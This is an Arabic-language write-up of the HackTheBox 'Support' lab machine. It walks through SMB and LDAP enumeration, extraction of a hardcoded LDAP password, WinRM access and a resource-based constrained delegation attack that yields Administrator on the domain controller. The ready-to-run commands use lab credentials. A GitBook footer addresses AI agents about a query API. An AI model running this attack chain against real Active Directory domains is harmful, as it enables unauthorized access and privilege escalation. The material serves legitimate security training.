> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md). # شرح Support HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات:** * استكشاف SMB * تحليل ثنائي EXE * تصحيح الأخطاء باستخدام DNSpy * تعيين نقاط التوقف والحصول على كلمة مرور LDAP كنص صريح (DNSpy) * استطلاع مستخدمي Kerberos (kerbrute) * استطلاع LDAP (ldapsearch) * تسرب المعلومات * استغلال مجموعة مستخدمي الإدارة البعيدة (Evil-WinRM) * استطلاع SharpHound + BloodHound * استغلال حسابات الدعم المشتركة (GenericAll) (هجوم RBCD) (التفويض المقيّد المستند إلى الموارد) * هجوم التفويض المقيّد المستند إلى الموارد - إنشاء كائن حاسوب (powermad.ps1) * هجوم التفويض المقيّد المستند إلى الموارد - PowerView\.ps1 * هجوم التفويض المقيّد المستند إلى الموارد - الحصول على تذكرة الخدمة المزوَّرة (getST.py) * استخدام التذكرة للحصول على وصول Administrator (تصعيد الامتيازات) {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

#### **فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.174 -oG allPorts ```

**فحص إصدارات المنافذ باستخدام Nmap:** استخدام Nmap لفحص إصدارات المنافذ واستخراج المعلومات في ملف "targeted": ```bash nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49757,53952 10.10.11.174 -oN targeted ```

## **استطلاع وحدة التحكم بالمجال:** ### قائمة SMB: استخدام CrackMapExec لاستطلاع SMB. ```bash crackmapexec smb 10.10.11.174 ```

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف

### **قائمة Kerberos:** استخدام Kerbrute لاستطلاع المستخدمين. ```bash kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt ```

### **استكشاف المشاركة الشبكية:** البحث عن المجلدات المشتركة في الشبكة. ```bash smbmap -H 10.10.11.174 -u none ```

```bash smbclient //10.10.11.174/support-tools -N ```

نكتشف ملف zip مثيرًا للاهتمام يسمى "UserInfo-exe-zip". للمتابعة، نستخدم الأمر `get` لتحميله إلى جهازنا.

### /*/* تحليل ملف ثنائي لويندوز:/*/* سنقوم بتشغيل ملف تنفيذي لويندوز على جهاز مزود بويندوز. للقيام بذلك، نحتاج إلى: 1. نقل أرشيف ZIP

2. ترحيل إعدادات VPN 3. `/etc/hosts` الإعدادات

لتشغيل الملف الثنائي وتحديد جميع المستخدمين الصالحين، ما عليك سوى إدخال الأمر التالي ```bash ./UserInfo.exe find -first * -last * ``` #### سيسمح لنا هذا الملف الثنائي بسرد المستخدمين.

#### تحليل ملف ثنائي لويندوز تم تنزيله باستخدام DNspy. {% embed url="" %}

### **استخراج كلمة مرور بالنص الصريح:** استخدام DNspy لاستخراج كلمة مرور بالنص الصريح من ملف ثنائي لويندوز.

سنشغل البرنامج، لكننا سنتوقف فقط في القسم الذي يكون فيه النص واضحًا.

هذه هي كلمة مرور LDAP:

### **التحقق من كلمة مرور LDAP:** التحقق من كلمة المرور المستخرجة باستخدام CrackMapExec. ```bash crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' ```

### قائمة المجال: ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 ``` #### مستخدمو المجال ``` enumdomusers ```

#### مجموعات المجال ```bash enumdomgroups ```

#### أوصاف المستخدمين: ```bash querydispinfo ```

#### أدرج جميع مستخدمي المجال الصالحين في ملف. ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x |tr -d '[]' ```

#### سنتحقق الآن مما إذا كانت كلمة مرور LDAP معاد استخدامها مع أحد المستخدمين التاليين: ```bash crackmapexec smb 10.10.11.174 -u users -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success ``` ومع ذلك، هذا لا ينجح.

### **قائمة LDAP:** {% embed url="" %} #### استخدام LDAP search لاستطلاع المعلومات. ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'support.htb/ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=<1_SUBDOMAIN>,DC=" ``` #### تتوفر الكثير من البيانات، ومع ذلك، من خلال تطبيق عامل تصفية على معلومات الأغنية، يتم اكتشاف كلمة مرور لمستخدم support. ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "info:" -B 20 ```

## **الاستغلال:** #### استخدم CrackMapExec لتأكيد كلمة المرور المرتبطة بحساب support. ```bash crackmapexec smb 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` هذا المستخدم جزء من مجموعة مستخدمي الإدارة البعيدة، مما يسمح لنا بالاتصال عبر Windows Remote Management (WinRM). ```bash evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` ### **استخدام Evil-WinRM:** الاتصال بالنظام الهدف عبر Evil-WinRM باستخدام المعلومات المحددة التي تم الحصول عليها.

## تصعيد الامتيازات ### **مراجعة الامتيازات الحالية:**
باستخدام `whoami /priv` أمر للتحقق من امتيازات المستخدم، لكن دون نجاح.

### **تحليل مجموعات العضوية:** باستخدام `net user support` أمر لفحص المجموعات التي ينتمي إليها المستخدم. اكتشاف مجموعة نادرة على ما يبدو، "shared support accounts".

### **استخدام BloodHound لتحليل الامتيازات:** #### استخدام أداة BloodHound لرسم علاقات الوصول. {% embed url="" %}

### **تشغيل SharpHound لمزيد من التحليل:** استخدام SharpHound، وهي أداة مكملة لـ BloodHound، لجمع بيانات إضافية حول علاقات الوصول. ```powershell ./SharpHound.exe -c All ```

## ثغرة هجوم التفويض المقيّد المستند إلى الموارد: {% embed url="" %} ### **تحديد الثغرة: هجوم التفويض المقيّد المستند إلى الموارد:**

#### نشر برنامج Powermad النصي لإنشاء حساب جهاز. {% embed url="" %} ```powershell upload Powemad.ps1 Import-Module ./Powermad.ps1 New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` #### استخدام PowerView للتحقق من إنشاء حساب الجهاز. {% embed url="" %} ```powershell upload PowerView.ps1 Import-Module ./PowerView.ps1 ```

#### تعريف الأذونات لحساب الجهاز باستخدام أوامر PowerShell. ```powershell $ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} ``` #### بهذا الأمر، نتحقق مما إذا كانت العملية الكاملة 'Get-DomainComputer dc' تعمل باستخدام خاصية 'msds-allowedtoactonbehalfofotheridentity'.

### **استغلال الثغرة** #### استخدام أداة Impacket لتنفيذ `getST` الأمر للحصول على تذكرة TGT تنتحل هوية المستخدم Administrator. ```bash impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456 ```

#### تكوين بيئة Kerberos الخاصة بـ Administrator عبر تصدير `KRB5CCNAME`، ثم الاتصال بالنظام الهدف باستخدام Impacket `psexec`.
```bash export KRB5CCNAME=Administrator.ccache impacket-psexec -k dc.support.htb ```

### العلم النهائي :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.